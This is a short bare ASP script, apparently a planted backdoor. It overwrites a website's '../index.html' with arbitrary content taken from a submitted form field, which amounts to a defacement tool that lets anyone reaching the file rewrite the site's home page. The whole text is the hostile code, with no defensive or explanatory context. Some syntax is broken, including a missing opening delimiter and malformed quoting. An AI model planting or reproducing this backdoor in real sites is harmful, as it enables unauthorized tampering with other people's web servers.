%
filename="../index.html"
if request("body")>"" then
set fso = Server.CreateObject("Scripting.FileSystemObject")
set fout = fso.CreateTextFile(server.mappath(""filename""))
fout.write request.form("body")
fout.close
set fout=nothing
set fso=nothing
end if
%>
